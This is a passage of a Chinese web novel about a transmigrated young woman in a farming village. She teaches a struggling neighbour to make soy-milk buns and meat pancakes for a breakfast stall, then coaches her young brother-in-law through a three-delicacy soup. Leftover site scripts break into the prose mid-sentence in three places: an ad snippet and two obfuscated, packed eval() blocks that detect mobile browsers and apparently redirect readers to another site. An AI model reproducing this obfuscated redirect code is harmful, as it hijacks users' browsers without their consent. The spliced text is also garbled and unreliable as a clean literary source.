孙婶也是嫁人之后才觉察出来的，跟她一同出嫁的女子，个个都怀孩子，只有她还没动静。 她的婆婆虽不说多刻薄，可对于自家子嗣这件事，加之村里的风言风语，心里总是有疙瘩的。 孙柳心中也明白，夜里总是偷偷抹泪，无论是药方偏方用了许多，都是无用。 直到成亲五年，她终于如愿怀上孩子，生下沈虎，一家人都高兴的不行，她也把这个孩子当心头宝。 可现在沈虎，腿骨砸断，只能在床上，每日强撑着情绪安慰着他们，她心中更是难受。 那知道，这还不算完。 柳双儿前日在院子里帮沈虎熬药，一个起身，忽的，毫无预兆地倒下。 这可把刚下活，进院子的孙柳吓一激灵，一甩锄头，把人扶进屋，又跑到村前头去喊三水村的老大夫。 孙柳心里着急，拉着那老大夫跑得飞快，不明所以的村人看这架势，都害怕老大夫一个没稳住，摔一跤。 他们三水村可就这一个老大夫啊，平时轻微的病症，都能给瞧好，可别给人摔坏了。 老大夫来到孙家，先看了晕倒的柳双儿，一张褶子脸，久违地跑得脸红耳热。 一摸脉，神色才放松。 他还当这孙氏着急忙慌地拖着他来，家中的人是患了急症，没想到是喜脉。 闻言，孙柳心中狠狠松了一口气，家中添丁，是件喜事。 这几日的忧愁都好似被驱散一些。 她一脸喜色地给老大夫付了诊金，还让开了保胎药，颇不好意思把人送走。 柳双儿醒来，她自己也是被吓到了，她只记得自己在跟沈虎熬夜，一睁眼，怎么就到床上来了。 一家人都在为即将到来的孩子高兴，可个个心中欢喜，也有了其他的思虑。 沈贵家原不算过得苦，可现在儿子受伤，药不能断，家中也是去一份劳动力，进项也少了一份，儿媳又有喜了，正是关键的时间，重活她肯定不能让人做，绣活自然也不能接太多，而且绣活也不是想接就能接的。 她也是媳妇过来的，怀孕女子多受罪，若还要让她苛待人家，她自认做不到，她也不是这般无情的婆婆。 家中的作物还没到能卖银子的时节，家中只有沈贵在县上赚银钱，无非就是一些累人的苦力活计。 可她儿子刚在码头出事，她又怎么能放心让自家老头子去。 今日去地里翻土时，她家老头子还是要去码头，她怎么劝说都没用，大不了家中存银顶到秋收。 沈贵自觉一家之主，只让她不要担忧，一想到如此，她终是没忍住落了眼泪。 姜南听完，心中也闷闷的，初到，她惶恐迷茫，却从未气馁过，她尽最大的努力把自身的优势跟环境结合，幸好，她做到了，没有暴富，却也让她解决了眼下的困境。 饭桌上一时间都有些沉默。 但自己的生活还要继续，愁怨之后，姜南心中有了思量，就看人舍不舍得了。 先把明日要出摊的东西都准备好，天色也渐渐黑下来，一家人劳作一天，浑身都很疲惫，一沾床，睡得很快。 翌日，清风鸟鸣，晨起的太阳还没爬上顶，院子里一片亮丽清明。 板车上出摊的东西，装置的整整齐齐。 “小南，阿娘先带着东西去码头。” “阿娘，阿娘，您等等。” 周氏还未出院子，听见声音又转回来，表情困惑，她担心姜南有重要的事情要说，向着人靠近几步，才出声：“小南，怎的了？” 姜南看见周氏的动作，轻声发笑，朱唇轻启道：“阿娘，您在码头卖完东西，要是能遇见沈叔，你若能喊，就把人喊回来，回来后顺带叫孙婶带些面粉，黄豆子到我们院子里等我回来。” 周氏倏然看向面带微笑的姜南，心中隐隐有了几分别样的猜测，却又不确定，她也没说其他，只应了好。 姜南嘱咐完，就带着东西启程去县上。 姜南今日没上新吃食，还是老四样，但买的人也不少，摊子还有了三个固定食客。 清江书院的李大儒、陆文俊，还有西街的挑嘴食客。 这人来了几次，姜南才觉得其他食客说的挑嘴，真不假。 每次来都在小摊后头的桌上吃，摊前没人的时候，他就要说土豆有几根夹生，好在味道还行，他才心甘情愿付钱，再有不断试探姜南还会不会其他的吃食，大有一种老师考教学生功课的感觉。 “我听老李头说，你这摊子还有那什子红糖小汤圆，怎的我从未见过。” 老李头？谁？她摊子的食客吗？ 姜南没多想，伸手接过西街食客的银钱，听见人说话，抬头看，那人眼神还在往自己摊子上看。 正是她给自家人准备的午食。 凉皮和狼牙土豆拌着，她用切土豆的小薄铁片把炸得焦黄起泡的肉肠切成薄片，熟透的肠肉在热油里炸，姜南就着一小块地方撒了点辣椒粉，那味道一下子就上来了。 来吃了这么多次，姜南也算是摸到一点这人的脾气，眼神只要盯几眼某样吃食，却不直说，东拉西扯说其他的，那就说明，他好奇这样东西，但又不好意思开口直说。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>姜南只能说，搞不懂这些奇怪的习惯。 她麻利地给人用食碗装好一份，道：“客人若想吃，那明日便限时上新红糖小汤圆。” 正好她做的三色芋圆也有了用处。 西街的食客看着姜南递来的东西，又听见人的承诺，这才满意的离开。 姜南心中惦记这事，吃完东西，快速把摊子收拾好，去肉铺买了肉，一点没在县上拖沓，早早回家。 周氏卖完东西，见到从码头下来的沈贵，她试探开口让人跟着回家，自然是被拒绝了。 沈贵倒也没品出其他的意思，只当是他早晨出门早，她家老婆子担忧自己，才让周氏来劝说他回去。 可这都做了半日，他怎么都要把这一日的工银拿到，也就没回去。 周氏回去的时候，孙柳把柳双儿从地里送回来。 她跟孙柳想来直言而道，再有个把时辰，她家三个孩子也要从县上回来。 孙柳听了周氏的话，要面粉和黄豆子，这些她家都有。 正好到做午饭的时辰，她先在家把饭食蒸上，才拿着东西来沈家小院，还没把东西给人，就听见外头沈安的声音，还有板车轮子滚动的响声。 “小南她们都回来了，那我也不多打扰。” 姜南一进院子，喊一声孙婶。 孙柳笑着应声，比起姜南前些日子所见，她都能看出这笑容少了几分轻松。 出摊的东西不用她操心，沈确会收拾干净。 姜南喊了阿娘，把要走的孙柳喊住。 没说其他带着人来到厨房。 孙柳心中有些着急想回家，还有姜南做东西不避人，她神色躲避，神情纠结，她只想快点离开，可每当她要走的时候，姜南就喊住人。 她先简单揉了面，等待醒发的过程，她才得闲去跟孙柳说话。 她一针见血地提到沈虎养伤和柳双儿养胎这期间所需的银子，就算老两口紧着自己，贵叔每日去县上做工，光是沈虎腿骨的伤，只怕也是不够花的，孙婶一家人这些年来攒了不银子，可这大半早就在沈虎第一次看诊时用去。 更不用说，孙柳本就担心在码头做工的沈贵。 孙柳很清楚这些，却也不知道姜安说这些是什么意思，她昨日也确实点了点家中攒下的银子，撑过秋收不是问题，秋收之后就有银钱了。 那时候，沈虎的伤也应当好上大半，不管恢复几成，家中也不会这么艰难。 她还琢磨着呢，面前的人忽然开口：“孙婶，若是你也能在县上出摊子，家中情况可否会好些呢？” 话音一落，厨房里其他两人都惊讶地抬头看着姜南。 孙柳心中突突跳，她脸色霎白，心中似乎是想到什么，神情闪烁，嘴唇微颤，轻张，好半晌没能说话。 姜南等了等，没听见回应，才抬头，忽然听见一声带着哽咽的“对不起”。 听见没有由头的一句道歉，姜南和周氏同样的困惑，这咋还说上对不起呢，她们不是还什么都没做吗？ 33. 豆浆馍馍 姜南没有着急催促，等着人思虑，她也起身把肉拿出来，准备剁肉馅。 她有自己的思量，当初分家，沈贵是第一个帮她家说话的人，算是承了人的情分，又长居一个村子，是非人心，她也是能看见。 再有，她要做属于自己的小店，单打独斗只会让自己身心劳累，沈贵一家算是一个不错的帮手。 思及此，孙柳小心翼翼地出声询问：“小南说的话是什么意思？只要是能家里人都好过些，婶子哪有什么舍得不舍得的。” 这话倒是不假，孙柳也是想清楚了，她们家能有什么舍不得的，一没有银钱积攒，二没有手艺傍身，会的只有那一手勤劳种田的力气。 这几日，沈贵家可谓是悲喜交加，孙柳所烦扰的也是这两件事。 周氏常常在想，她们家要不是有小南在，只怕她会比孙柳更烦忧。 夜深人静时，她不是没想过帮孙柳，可家中能赚银子的法子都是小南想出来了，她也没有这么大脸慷他人之慨。 姜南不知道周氏在想什么，她放下手中正在剁馅的刀，面上微微笑着，声量不大，却清晰，道：“孙婶，我记得我阿娘跟我说过，您家今年种了不少毛豆子是吗？” 孙柳不解其意，却也是肯定地点点头。 现在正是出新鲜毛豆的时候，再过些日子，毛豆稍老一些，就是黄豆了，再晒一下，储存起来，也是粮食呢。 所以姜南才会问人舍不舍得。 她没有停顿接着说：“现在地里的活也不多，贵叔每日在码头抗货，也不过百十文，辛苦劳累不说，也是有风险所在。” 孙柳自然知道姜南说的是实话，还没等她出声问，又听见姜南清清亮亮的声音响起：“我想说的是，既已经如此辛苦，不若换一个风险小的活计做。 “这事情本也是打算我自己做的，可家中实在腾不出人手，我这才跟孙婶开口说道说道这件事情，我是想再支一个小摊。” 孙柳神色一变，眼眸的震惊，都不用说话，厨房里的其他两人都感受到了，她似是没有察觉，只瞟一眼院子里正在劈柴的沈确，嘴唇张了张，最后还是没有说话。 “这摊子是个早食摊子，若是孙婶觉着可行，正好我有两道早食菜可以帮一帮婶子。” 话落，孙柳面露慌张，语气也变得着急：“那怎么行，我怎么可以学你的手艺呢。” 一艺可傍身，更不说是这样子实在的手艺。 孙柳不同意，她心中的猜测确实不假，可她却没办法堂而皇之的接受。 姜南倒是不觉有什么，她想出的这两道菜，其实算不得什么，也不是什么绝密的古方，更不说县上也是有的，说白了也就是煎饼的另一种形态罢了。 要说不同，可能就是她自己捣鼓的一些调料罢了，其实现在的人不是不会做，只是农家人，大多舍不得放料，有时候对付对付就是一顿，能活下去，种好庄稼就好，也没这么多时间去钻研这些，口腹之欲自然也就没那么重要。 不等姜南继续说，孙柳作势起身要走。 “婶子你且等等，我的话都未说完，咋这么着急。” “说什么我都不能拿你的方子。” 孙柳以实际行动表示不同意，姜南失笑，她就是知道孙柳的为人，才会这么放心给人建议，还愿意教人做菜。 “既然婶子这般说，那我也就不藏着掖着了。” “婶子认为是您占了我的便当，实则不然，我方才话都还没说完，我教给婶子两道菜，您和家里人办早食摊子，自然是不能在清江县，而是去相邻的县选一地势，这样我们两家互不影响，再有就是，婶子每卖出两份早食，我便收取一文，这样倒是我占了您的便宜。” 姜南说完，她表情不改，这是她想的第二种解决办法，不是她不爱钱，而是她的摊子可以不断上新，能保持新鲜。 如果是固定的摊子，刚开始的新鲜劲过去，就只能靠味道留人。 孙柳思考着姜南的话，她心中不是没羡慕过人一家人出摊子，赚银子，姜南刚提议的瞬间，她不心动也是假话，要是她脸皮厚一些，她便可以一口应下，不过她做不到。 倒不是她高风亮节，学了人家的皮毛手艺又如何，窃来的，她就是用着都提心吊胆。 按照小南所说，赚来的银子跟她分，她家能缓解窘迫之境，也没有让小南损失，确实是个不可多得的好办法。 周氏看人还在犹豫，也一同出声劝诫：“孙姐姐，小南说得对，你赚了银子，就是我们赚了银子，这有何不好。” 孙柳开始动摇，但最后还是说要跟家里人商量。 姜南也没阻止，农家人办小摊，家人的支持必不可少。 她临了告诉孙柳，要是觉得这方法可行，明日还是这个时间，可以割一些鲜毛豆，来家里只会一声就行。 等人走了之后，周氏看着剁馅的姜南，忍了好久才出声：“小南，你······”话还没说完，姜南手发软，放下刀，准备休息一会。 没等她动手，厨房里进来一人，沈确。 他自觉占了姜南的位置，开始剁肉。 姜南在灶间的凳子上坐下，一旁就是周氏。 她知道周氏要说什么，无非是想谢她帮了孙婶。 “阿娘，其实您说得没错，我本来是想两个摊子一起办，确实忙不来，我知晓孙婶的为人，不会白拿方子，我每日出一份摊，却能赚两份银子，何乐不为。” 好话歹话全给人说了，周氏还能说什么，她不满意地看着自己一身蛮力的大儿子，怎么就不晓得在人后头帮帮忙。 周氏自然是不知道，沈确是想过帮忙的，不过这人好像没什么做饭的能力，她先前让人看着锅里炸的肉肠，明明也是学着姜南的翻面，可最后这肠竟然给他炸得干巴得要死。 最后这肠只能让沈确自己解决掉，反倒是沈安手巧，可以帮姜南看油锅，也能帮人做其他的凉糕、汤圆，味道都很不错，姜南平时做东西，沈安也会跟在一边自己学，她没阻拦也不避人，偶尔得闲还会出声指导。 不得不说，沈安确实是会做的，他自己都能做一些简单的小吃食，前两天还缠着姜南说要学做糕点。 姜南没说话，顺势起来准备调料。 咸酱汁，自制的香油，食盐，香葱油，香菇粉，大葱，姜末备好。 肉馅剁成肉糜状，姜南把调好的料汁倒进去，放适量的清水拌匀，最后把切好的葱花末放进去，等饼胚擀好，包肉饼的时候，再拌匀。 面醒发好了，姜南拿出另一个木制案板，先撒上一层干面粉，醒发之后的面团用刀切成适量的小剂子，先揉压排气，再擀皮。 擀成薄薄的饼胚，再把肉馅铺平在饼胚上，而后用另一块饼胚盖上，按压紧实，把多余的部分擀平整，一张饼就做好。 同样的做法，重复几次，姜南做出四张大肉饼子。 好在没买多少肉。 她今日还拿回了先前定制的小平底锅，其实就是一块稍向里凹的小圆铁块块。 正好能在平时砂锅放的小灶上用。 用来煎饼，炸肉肠会便利很多。 姜南把砂锅拿下来，把简易平底锅安上去，从灶间取了烧着的柴火，等锅热，放一点点油，把包好的肉饼放到锅中，小火煎炸，一面煎个几息的时间。 饼一放到锅中就开始滋滋作响，油炸着的饼也冒出香气。 姜南掐着时间，灵活地夹着肉饼翻一个面。 煎炸的金黄的饼面映入眼帘，偏红印在饼面的锅巴印，散发着诱人的香味，还泛着油光，薄饼胚被炸的一面熟，里头的肉馅都能隐约瞧见，看着就让人忍不住咽口水。 姜南等着锅中炸，听见好大一声咽口水的响声，抬头看去，沈安不好意思，红了脸跑开。 还引得院子里的周氏喊了一声：“小安，你跑这么急做甚，一会摔了，有你哭的时候。” 姜南也没出声逗孩子，第一块饼煎好了，她加了一点油，放第二块饼。 火小，慢慢煎。 她到厨房，把炸好的饼，对角线切块。 一块大小合适的饼，至少可以分成六小块。 “阿娘，小安来尝尝肉饼，刚出锅的，可热乎了。” “好，就来就来。” 姜南趁着时间，把其他的饼如法炮制，同样放进平底锅煎。 沈安闻言，也顾不上害羞，他兴冲冲地跟在周氏后头，进到厨房，乖乖等自家阿娘拿了一块之后，他才猴急地上手。 拿到一块还烫手的饼，油香肉香，还有葱香齐刷刷地往他鼻子里钻。 沈安甚至都没听见他阿娘让他给他大哥拿一块。 咬一口，满嘴肉香，油汪汪的，饼皮酥脆，一咬还能听见响声，混着里头的肉馅，软乎咸香，唇齿间，口感争先恐后地浮现，一口不够，沈安还要接着咬几口。 “哎呀，我说你这孩子哪有这般猴急，让你给你大哥拿一块。” 周氏见着自家小儿子那模样，哭笑不得，真是越来越好吃。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12594484|128901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不消片刻，沈安就吃完一块，伸手又拿一块。 沈确收拾好，从厨房门口进来，他没有先尝，用干净筷子给姜南留了一块，又才卷巴一块肉饼，走到外头，低头小声说着什么，又见姜南拿筷子指了指锅中，嘴唇一张一合，而后就进屋了。 姜南自然而然地拿起沈确放好的一块，她只当是自己习惯性地给自己放的。 吃了一嘴的香，味道还不赖。 盯着锅的沈确，自然知道这饼子的味道，比县上的肉饼，馅多了很多，大小差不多，能切很多块，一股子的香味，引诱的人一口接一口。 他是买过县上的肉饼，很大一块，面多肉少，咬到中间才勉强能看到一点肉糜，想到这里，他卷着最后一点全塞进嘴里，眼睛直勾勾地盯着锅里。 姜南饼做的实，晚上也没做其他的饭食，煮了点清粥，配着肉饼，一家人也吃了个肚圆。 翌日清晨，前一晚下了一点雨，路上沾湿不少，好在沈确推车稳当，到了镇上，刚摆好摊子，西街的主顾就慢悠悠出现在摊前。 姜南昨日应言准备了汤圆，不仅是汤圆，三色芋圆也做了不少。 她远远瞧见人来，给人下了芋圆和汤圆煮着，化了红糖水，才开始烧锅热油。 那人也是自觉，来了就坐到后头等着吃。 他不过是出门一趟，这清江小县就出了一位会做吃食的娘子，他刚从外头回来，书院的李老头就开始在他跟前滔滔不绝说道，他错过了什么好吃的玩意。 他偏不信，清江县要说会吃，他自然也是能排上名号的，无论是负有盛名的福仙楼，还是街头巷尾的杂食小吃，哪样他没尝过。 只怕是这只会死读书的李老头，不服气自己可以去任何地方，尝试新鲜玩意，才说这话来呛他。 他抱着怀疑的心来到小摊。 第一次来，他看见这小摊前，人不算少，生意算得上好，他把摊上的吃食都点了一个遍。 都是简单的食材，但做出来的味道却不差，冲鼻呛人的辣子味，可以用甜味的凉糕压下去。 不得不说这小娘子用料舍得，心思也巧，他最爱的，就是那肉肠，弹牙糯口，炸得酥酥脆脆的，一咬还爆油，香得很，烫得舌头疼都不想吐。 他如愿尝到红糖小汤圆，颜色各异的，肯定比李老头吃到的要好，他家的小囡囡应当也很喜欢。 他当即订下剩下的三色芋圆，不给老李头留。 开门红，一单顺利，单单顺利，姜南收摊比昨日还早。 三人心满意足地回家，院子里传来孙婶和双儿嫂嫂的声音。 “阿娘，婶子，双儿嫂嫂。” “小南你回来了。” 院子里三人都有些激动。 姜南看这样子，也知道孙婶是同意了昨日的提议。 孙柳带了青豆来家里，她看了一眼，品相不错，个个都饱满，食材好，做出来的吃食自然也好。 姜南转身跟家里说，她就起身跟孙柳两人一起去到孙家小院。 一行人到达院子的时候，沈贵正在剥毛豆。 姜南先让孙婶舀了几两大米磨成粉，再把青豆加水磨好。 不用她动手，沈贵就能把这些磨好。 磨好之后，她上手做，孙柳也在一旁看着，绿油油的青豆浆，加入米粉拌成米糊，粘稠不稀，再加入一点糖粉，增添一点甜味。 新鲜的青豆打成浆也散发出一股子清香。 她来的时候就装着桑叶来的。 桑叶两张叠一起，舀一勺青豆米糊，桑叶包着米糊上下一捏，自动就粘住，这一个豆浆馍馍就算做好。 简单易做，孙柳也不是个手笨的人，包几个找到手感，越做越熟练。 包的超不多就可以生火烧水。 把包好的豆浆馍馍放进锅中，蒸煮一刻钟。 姜南还有两道吃食，一道是昨日家中吃的简易版香河肉饼还有就是豆浆。 豆浆好做，她问了孙婶家还有储存着一些黄豆。 黄豆大米，小米，三种食材就能做出最经典的原味豆浆。 孙柳看了姜南教她的法子，这青豆都能给人做出馍馍来，她没有不应的。 当即拿出食材，同样用石磨磨，微黄的豆浆磨好，姜南让人加了几块冰糖进去，添点甜味。 她开始教人做肉饼。 时间有些长，锅中的豆浆馍馍先出锅。 一掀锅盖，淡淡的植物叶子清香，混着青豆蒸煮的绵密香甜味道，沁入鼻腔。 34. 三鲜汤 孙柳心中本还害怕浪费了新鲜青豆，毛青豆摘早了可惜，再晚些日子，就是黄豆子。 她好似被分成两半，一半是相信姜南的，一半是担忧忐忑。 可当她尝到那豆糊糊做成的馍馍时，她就知道，她是捡了个大便宜。 担忧都消散一大半。 青豆浆馍馍制作的时候加了糖粉，吃进嘴里的味道带着丝丝甜，不同于她们平常吃的偏硬的馍馍，而是蓬蓬松松的，特别是刚出锅腾腾热气，飘散而来的是淡淡的豆子清香。 馍馍是用桑叶子包着蒸的，同样还能闻到桑叶子的蒸过的味道。 “双儿，给虎子拿两块去。” 孙柳自己先吃了一块，口感比她想象的好，忙不迭咽下，赶忙又招呼着其他人吃。 沈虎知晓今日姜南会来家中教自己阿娘做吃食，他很想出来看，但他阿娘和娘子都严厉地不让他乱动，好好待在屋里养腿，别去外头捣乱。 他伤腿刚固定好，确实也不易多动，他也是知道的，可院子里热闹的交谈声，钻入他的卧房，听得他心痒痒。 尤其是他阿娘豪迈的笑声，定然是做出好东西了。 若是只是听听响闹声，倒也就罢了，可他偏偏能闻到一点似有若无的吃食味道，淡淡的，扑上来，等他仔细去闻，又没了。 沈虎正可惜地想着，卧房们就被人从外面推开，柳双儿拿碗给自家相公装了四个豆浆馍馍。 “双儿。” 沈虎循着声音把眼神从窗户口收回来，开门的正是柳双儿，他抬头看去，柳双儿也笑意盈盈地端着碗进屋。 沈虎也立马高兴起来，他一眼就看见人手中端着的碗，稍显激动地双手撑床起身，一心就想快点吃到碗里的东西。 “大虎你做甚啊！” 柳双儿看着沈虎一撑一扯的动作，心里突突一跳，生怕人一个没稳住，又摔了。 这一着急，就是两个人一起，沈虎看着柳双儿阔步向前，同样被吓到。 “双儿你慢着些，我没事，我就是馋了。” 柳双儿骤然变快的动作，把沈虎也吓得不轻，生怕人磕着碰着。 他娘子有了身孕，早知道他就慢着些了，免得人为自己忧心。 若是双儿磕碰着，他肯定不会原谅自己。 柳双儿不知道沈虎在想什么，见人慌了，嗔怪一声，又被沈虎的话逗得忍俊不禁。 她把碗放到房里的桌上，不放心地到床边看看沈虎的腿，推上绑着的固定板，没有因为沈虎的动作马虎而移动，确认好几眼，还好没事，她才放下心，伸手给人拿一个豆浆馍馍。 “娘还是真是没说错，伤了腿也挡不住你馋嘴。” 柳双儿推开沈虎企图喂食儿的手，媚一眼人，还说着逗弄人的话。 方才在外面，馍馍刚蒸好，小南正好在教阿娘做什子豆浆。 锅里蒸好，她阿娘也停手，要先试试馍馍，这一家人都尝了个遍，而后她阿娘才想起屋里还有个人，还调笑着说，赶紧给家里的大馋小子拿几个去，不然一会该自己起来了。 当真是没冤枉人，可不是要起来了嘛。 沈虎不知道自家阿娘是怎么说自己的，但这馍馍是真好吃，软软乎乎的，就是味道甜了点，但胜在清新，一点也不想他以前吃的馍馍。 “好了，你不要乱动，东西也给你拿来了，吃完你就······”好好休息······ 话还没说完，外头响起咚咚咚的响声。 “这是怎的了？” 埋头苦吃的沈虎听见声音，猛地抬头从窗户口看去。 “应该是阿娘在剁肉。” 她端着东西进屋的时候，刚好听见小南说还有一道吃食要做。 好像叫什么香河肉饼，现在这动静肯定就是在剁肉馅了。 “好了，你不要操心这些，你好好歇着。” 沈虎神色有些可怜，他受伤之后，除了必要的行走，多数都是坐着躺着养伤。 他觉着自己是能走的，他自己尝试过几次，虽然走的时候，牵动着腿有些疼。 为了快些好起来，让家里好过些，他也只能乖乖听话，点点头，让自家娘子去忙。 孙柳本就是干活的一把子好手，剁起肉馅来也利索得很。 肉糜剁好，姜南先把各种调料摆放整齐，开始教人怎么调好吃的肉馅。 孙柳学得认真，很多佐料县上就能买到，还有一些是姜南自己做的，葱姜蒜末剁得细的很。 一把野葱，切成葱花。 一切备好，姜南先给人做了一遍肉饼怎么包，剩下的就是孙柳自己完成的。 煎出来的肉饼，卖相还不错，同样切成六等份。 叠在一起，轻轻一按，肉馅里的油脂混着酱汁汩汩下滑，诱得人眼睛都舍不得移开。 “婶子，贵叔，双儿嫂嫂你们快尝尝，看看好不好吃。” 除了第一块是姜南做的，其他的都是孙柳自己做的。 肉饼不用很多技巧，小火煎不怕糊，最重要的就是里头的肉馅。 其他人一听，手上也动起来，拿一块尝。 一口就是馅，不仅冒油，还混着被油浸过葱香，方才豆浆馍馍的甜味立马被冲散，全都被咸香的熟肉占据。 “唔～” 柳双儿咬了一大口，嘴小没包住，油沾在嘴角，她赶紧用手擦一下。 “小南，阿娘，这饼好香，好好吃。” 孙柳看着吃得香的柳双儿，她还怕人害喜吃不消，原来这肚里的也跟她爹一个馋样。 “老婆子，我都不敢信这是你做的。” 沈贵卷巴卷巴一块饼，三两口就吃下去，意犹未尽地又拿了一块，嘴里还不忘记感叹。 孙柳心中泛起一种异样的满足感，她不是没听过夸赞，成亲的数年间，她也是听过沈贵对她的夸赞，她心中自然也是高兴的，可一想到，她要是去邻县支一个小摊，是不是也有不认识的人吃到她做的饼，会得到一句真心的赞叹呢。 她微笑着说道：“还不是小南的料汁调得好，你们就享福吧。” 闻言，柳双儿自然是上前跟姜南亲亲热热地道谢。 姜南没说其他，嘱咐着出摊要用的东西，这些都要她们自己去做，这几道吃食倒也不用一次性都端上桌。 摊子也要一步一步来。 孙柳听着姜南的建议，全都应下。 她就先做最简单的豆浆馍馍和甜豆浆，这两样原料家中都有，不用去县上购置，动作快一些，明日就能出摊。 姜南带着孙柳给的肉饼回家。 “阿娘，我回来了。” 院子里，沈确正在用蛮力榨汁，周氏在煮紫苏饮，沈安小不点拿着一根新鲜的大丝瓜，院子里还有周氏上山捡的菇。 正好今日回家的时候，她割了半斤肉。 几样食材，可以做一个三鲜汤。 “嫂子！” 沈安洗好丝瓜，正准备做晚食。他知道嫂子是去虎子哥家里，他阿娘把饭蒸上了，他从地里摘了丝瓜，想做一个丝瓜蛋汤，再做一个炒肉，嫂子回家，就能直接吃饭。 他跟在姜南身边，学了些皮毛，菜做熟有味道至少是没有问题的。 “小安，拿着瓜准备做什么菜呢。” 周氏看一眼，沈安没说话，她先回了姜南的话：“小安说他今日要做菜给我们吃呢，我就把小砂锅给他安好，随他折腾。” 姜南一听，脸上略显的惊讶，但没说其他，看着神色羞赧小心看着自己的沈安。 她先出声：“那今日让小安做菜。” “嫂子，可是我······”做得不好吃，沈安不自信地吞吞吐吐道，半晌没说出来。 “嫂子教你，你还怕吗？” 她看出沈安脸上瞬间的退却，能看出来，沈安是喜欢做吃食的，只是没有信心。 “好，嫂子教我。” 院子里榨汁的人，动作一顿，神色莫名地抬头看一眼正在喜滋滋跟姜南说话的小孩。 片刻又恢复自然，只是榨汁的动作更加用力了。 另一头说话的两人自然没有注意到院子里这小小的异动。 姜南拿出买来的肉，回声跟沈安商量：“小安，嫂子给你把肉切成片，你把蘑菇菇洗干净，撕成条。” 肉不太好切，姜南怕沈安不小心切到手，就没让人上手。 “好。” 姜南动作比沈安快，又给人把丝瓜削了皮，切了片，放着备用。 沈安撕完蘑菇，进到厨房。 “小安，去橱柜里拿一点嫂子先前做的木薯粉，舀一小勺在肉片里。” 沈安听话去拿木薯粉，嘴里还在问：“嫂子为什么肉片里要放木薯粉呢？” 姜南看着一脸困惑的沈安，出声解释，道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12620301|128901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“木薯粉有粘性，能锁住肉质里的鲜嫩，煮的时候不会让肉变得散。上次嫂子做的芋圆也是这个做的，弹弹的，加了木薯粉的肉片也会有这样的口感。” 沈安似懂非懂，但他知道加了木薯粉的肉片煮汤会更好吃，他记住了。 他按照嫂子的话，洗手抓揉，加盐，胡椒粉，还有用干虾皮干香菇做的天然味精，再次拌匀。 “嫂子，我不会切丝。” 沈安皱眉看着自己切成块的姜丝，试了好几次，他才下定决心向姜南求助。 听到这话的姜南，立马站起身帮人切丝。 沈安转身去做葱姜水，倒入肉片中，往着一个方向搅。 这是他看着姜南做东西时学会的。 最后姜南告诉沈安，加一点生油进去，可以让肉片锁住水分。 沈安神色有些茫然，水分，虽然不是很明白，但嫂子说的一定是对的。 砂锅换了一个大号的，姜南说一句沈安做一步。 切好的姜丝，葱头，还有干虾皮，热油煸香。 第二步加入丝瓜和撕好的蘑菇，翻炒至表面微微金黄。 倒入适量的清水，中火转大火，蒸煮至锅中的水沸腾。 “小安，慢慢放肉片，小心着手，别被烫着。” “好。” 沈安用筷子夹肉片，动作略显笨拙地往锅里放，虽然慢，但很好地放进去了。 沸腾的水，表面浮着一层薄薄的金黄的油光，肉片放进去，沸腾的力度变小。 盖上盖子，焖煮一息，起锅开盖，加调味料，盐，胡椒粉，撒葱花。 美味的三鲜汤就做好了。 尽管在备菜的时候，姜南帮了忙，可大多数还是沈安自己完成的。 做出来的三鲜汤闻着味道还是不错，清淡又有营养，不仅解暑还清热。 “嫂子，我做出来了！” 沈安是一激动的。 “阿娘，你快来看！” 恨不得昭告天下的喊声。 周氏手中的活正好做完，她听见喊声，饶有兴趣地走过来。 姜南帮着人把汤盛起来。 鲜嫩的肉片，缀在蔬菜的中间，浮在表面的油，因着丝瓜的点缀，显得不那么腻，蘑菇也吸了一部分的油，葱花是最后撒上去的，热气把葱花的味道洇出来，很香。 “小安真厉害。” 她丝毫不吝啬地夸奖沈安，就连一向看着淡然的沈确都跟过来，看这碗三鲜汤。 没说话，只是紧皱着个眉。 他不是很能懂，他不过是给人看一下摊子，就把土豆炸糊了，但他小弟，就这么听人一说，这菜就给做出来。 沈安不知道自家大哥心中正在腹诽自己，她心里正高兴着呢。 饭也蒸好，三鲜汤很大一碗，还有孙婶给的肉饼，沈家小院忙碌一天的晚食也开始了。 饭桌上，周氏好奇地询问了姜南，孙柳一家今日学得怎样。 “阿娘不必担心，孙婶手可巧了，教一次就学会了。” “我走时，孙婶还说今日就把食材备好，明日先去邻县试一试，要是卖得好，她也像咱们这样交钱租一个固定的摊位。” “那就好，那就好。” 晚食吃过，天色都还没黑下来，姜南干脆拿着换下来的衣服到河边洗。 皂角子搓好几下才起一点点沫，味道也是淡淡的，姜南有些想念现代的肥皂。 夏日一到，易出汗，衣服也换得勤，皂角子洗的，总觉得少了些什么，看来她得尝试一点其他的东西。 洗完衣服，一家人还在院子里乘凉，等着天色暗下来，才进屋休息。 第二日卖完东西，姜南买了猪板油，引得沈安发问：“嫂子，家里要熬油了吗？” 姜南确实也是准备熬一点油，但更多的是做另一样物件。 身后推车的沈确同样好奇，若是说这是熬油的话，这么一大块猪板油，有些多了。 方才他注意到沈安问完，姜南先点头又摇头。 那就说明，这猪板油确实要用来熬油，但不是全都用来熬油，他心中隐隐有些期待，姜南这次又会做出一个什么新鲜的吃食来。 前头的沈安还在叽叽喳喳追问姜南。 前头的人挽着发髻，梳得整齐，身着的素布，回应人的声音也是柔柔的。 